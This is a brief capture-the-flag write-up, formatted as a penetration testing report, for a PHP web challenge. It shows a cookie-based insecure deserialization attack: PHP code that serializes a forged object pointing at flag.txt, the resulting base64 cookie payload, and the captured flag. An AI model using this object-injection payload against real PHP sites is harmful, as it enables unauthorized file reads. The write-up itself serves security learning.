Penetration Testing Report

For

“Php is Just Serial Killer”

S.NO.	Title	#
1.	Challenge Category	Web Application
2.	Challenge Related Files	N/A
3.	File Link / Target IP	N/A

PROCEDURE

1. **Check given website mostly its empty**
2. **Checking cookie shows that it has some b64 encoded data.**
3. **Decode that shows that its an object**
   O:3:"Foo":1:{s:9:"Foopath";s:8:"info.txt";}
4. **So maybe we can inject out payload in cookie to read the flag**
5. **<?php**

```
class Foo {
  private $path = "flag.txt";

  function show_data() {
    return file_get_contents($this->path);
  }
}

 $a = new Foo();
 echo base64_encode(serialize($a));
?>
```

6. **Get payload using this php code**
   Paylaod = TzozOiJGb28iOjE6e3M6OToiAEZvbwBwYXRoIjtzOjg6ImZsYWcudHh0Ijt9
   Put that into the cookie and reload the page and you will get the flag.

Flags:

S.No.	Flag - No.	Flag
1.	Flag 1	HE{You_now_this_Was_just_easy_simple_bug}